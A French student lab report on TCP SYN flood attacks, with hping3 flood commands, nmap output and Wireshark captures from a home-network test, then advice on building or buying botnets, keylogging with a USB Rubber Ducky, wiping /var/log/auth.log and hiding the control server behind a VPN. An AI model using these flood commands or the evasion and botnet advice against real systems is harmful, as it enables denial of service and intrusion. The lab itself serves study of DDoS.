

Kagan KARABAY SLAM

### Sujet 1: La puissance des attaque DDoS TCP SYN - Un jeu d'enfant

Sur VirtualBox, nous avons créé une VM Debian avec un réseau en accès par pont pour pouvoir communiquer avec l'hôte Windows 10 et Internet.

Après avoir installé hping3 sur notre VM, nous allons essayer d'envoyer des requêtes SYN TCP avec la commande **hping3 -S [destination]**

On constate que les paquets sont perdus (aucune réponse) :

```
franc@franc-virtualbox:~$ sudo hping3 -S 192.168.1.82
HPING 192.168.1.82 (enp0s3 192.168.1.82): S set, 40 headers + 0 data bytes
^C
--- 192.168.1.82 hping statistic ---
4 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
```

Pourtant, les deux machines peuvent ping :

```
franc@franc-virtualbox:~$ ping 192.168.1.82
PING 192.168.1.82 (192.168.1.82) 56(84) bytes of data.
64 bytes from 192.168.1.82: icmp_seq=1 ttl=128 time=0.318 ms
64 bytes from 192.168.1.82: icmp_seq=2 ttl=128 time=0.242 ms
^C
--- 192.168.1.82 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1010ms
rtt min/avg/max/mdev = 0.242/0.280/0.318/0.038 ms
```

Mon réseau hôte utilise le profil “Privé”.



Réseaux privés

Connecté

## Désactivons le pare-feu pour le profil “Privé”

### Personnaliser les paramètres pour chaque type de réseau

Vous pouvez modifier les paramètres de pare-feu pour chaque type de réseau que vous utilisez.

#### Paramètres des réseaux privés



☐ Activer le Pare-feu Windows Defender

☐ Bloquer toutes les connexions entrantes, y compris celles de la liste des applications autorisées

☒ M'avertir lorsque le Pare-feu Windows Defender bloque une nouvelle application



☒ Désactiver le Pare-feu Windows Defender (non recommandé)

#### Paramètres des réseaux publics



☒ Activer le Pare-feu Windows Defender

☐ Bloquer toutes les connexions entrantes, y compris celles de la liste des applications autorisées

☒ M'avertir lorsque le Pare-feu Windows Defender bloque une nouvelle application



☐ Désactiver le Pare-feu Windows Defender (non recommandé)

## On constate que les paquets sont maintenant reçus

```
franc@franc-virtualbox:~$ sudo hping3 -S 192.168.1.82
HPING 192.168.1.82 (enp0s3 192.168.1.82): S set, 40 headers + 0 data bytes
len=46 ip=192.168.1.82 ttl=128 DF id=7053 sport=0 flags=RA seq=0 win=0 rtt=6.7
ms
len=46 ip=192.168.1.82 ttl=128 DF id=7067 sport=0 flags=RA seq=1 win=0 rtt=6.2
ms
len=46 ip=192.168.1.82 ttl=128 DF id=7068 sport=0 flags=RA seq=2 win=0 rtt=6.1
ms
len=46 ip=192.168.1.82 ttl=128 DF id=7069 sport=0 flags=RA seq=3 win=0 rtt=6.1
ms
^C
--- 192.168.1.82 hping statistic ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 6.1/6.3/6.7 ms
```

La commande **nmap [IP destination]** permet de scanner les ports ouverts

```
PORT      STATE SERVICE
21/tcp    open  ftp
53/tcp    open  domain
80/tcp    open  http
1287/tcp  open  routematch
```

Nous pouvons utiliser la commande **hping3 -S [IP destination] -a [IP source] -p [port] --flood** pour réaliser une attaque DDOS SYN TCP.

```
franc@franc-virtualbox:~$ sudo hping3 -S 192.168.1.64 --flood
[sudo] password for franc:
HPING 192.168.1.64 (enp0s3 192.168.1.64): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
--- 192.168.1.64 hping statistic ---
851991 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
```

Après avoir entré la commande **hping3 -S 192.168.1.64 --flood**, on peut observer sur Wireshark une multitude de paquets SYN

36018	8.961823	192.168.1.64	192.168.1.30	TCP	54 0 → 39155 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
36019	8.962297	192.168.1.30	192.168.1.64	TCP	60 39182 → 0 [SYN] Seq=0 Win=512 Len=0
36020	8.962306	192.168.1.64	192.168.1.30	TCP	54 0 → 39182 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
36021	8.962785	192.168.1.30	192.168.1.64	TCP	60 [TCP Port numbers reused] 39202 → 0 [SYN] Seq=0 Win=512 Len=0
36022	8.962794	192.168.1.64	192.168.1.30	TCP	54 0 → 39202 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
36023	8.963342	192.168.1.30	192.168.1.64	TCP	60 39232 → 0 [SYN] Seq=0 Win=512 Len=0
36024	8.963351	192.168.1.64	192.168.1.30	TCP	54 0 → 39232 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
36025	8.963918	192.168.1.30	192.168.1.64	TCP	60 39258 → 0 [SYN] Seq=0 Win=512 Len=0
36026	8.963927	192.168.1.64	192.168.1.30	TCP	54 0 → 39258 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
36027	8.964433	192.168.1.30	192.168.1.64	TCP	60 39280 → 0 [SYN] Seq=0 Win=512 Len=0

On peut propager des bots à l'aide de malware pour en faire des zombies ou utiliser des services de cloud.

Par exemple, avec un accès physique, on peut utiliser un USB Rubber Ducky pour récupérer des informations (keylogger) puis envoyer des frappes de clavier pour avoir un accès SSH.







On n'oubliera pas d'effacer les logs (/var/log/auth.log par exemple).



### *USB Rubber Ducky*

Sans accès physique, on peut utiliser du reverse engineering avec du phishing ou du social engineering par exemple. Le but étant de se faire passer pour un collaborateur et de récupérer des accès serveur.

Il est également possible d'acheter des bots

\$23.99 1 month	\$34.99 1 month	\$44.99 10 years
1 Month Gold	1 Month Diamond	Lifetime Bronze
Time per boot2400 sec	Time per boot3600 sec	Time per boot600 sec
Concurrents1	Concurrents2	Concurrents2
Total network220Gbps	Total network220Gbps	Total network220Gbps
ToolsIncluded	ToolsIncluded	ToolsIncluded
Support24/7	Support24/7	Support24/7
Buy with Paypal 	Buy with Paypal 	Buy with Paypal 
 <b>bitcoin</b>	 <b>bitcoin</b>	 <b>bitcoin</b>

Via un serveur de contrôle, on demande aux bots de lancer simultanément la commande citée précédemment. On évitera de connecter directement le serveur de contrôle aux bots. On passera par un VPN pour le masquer.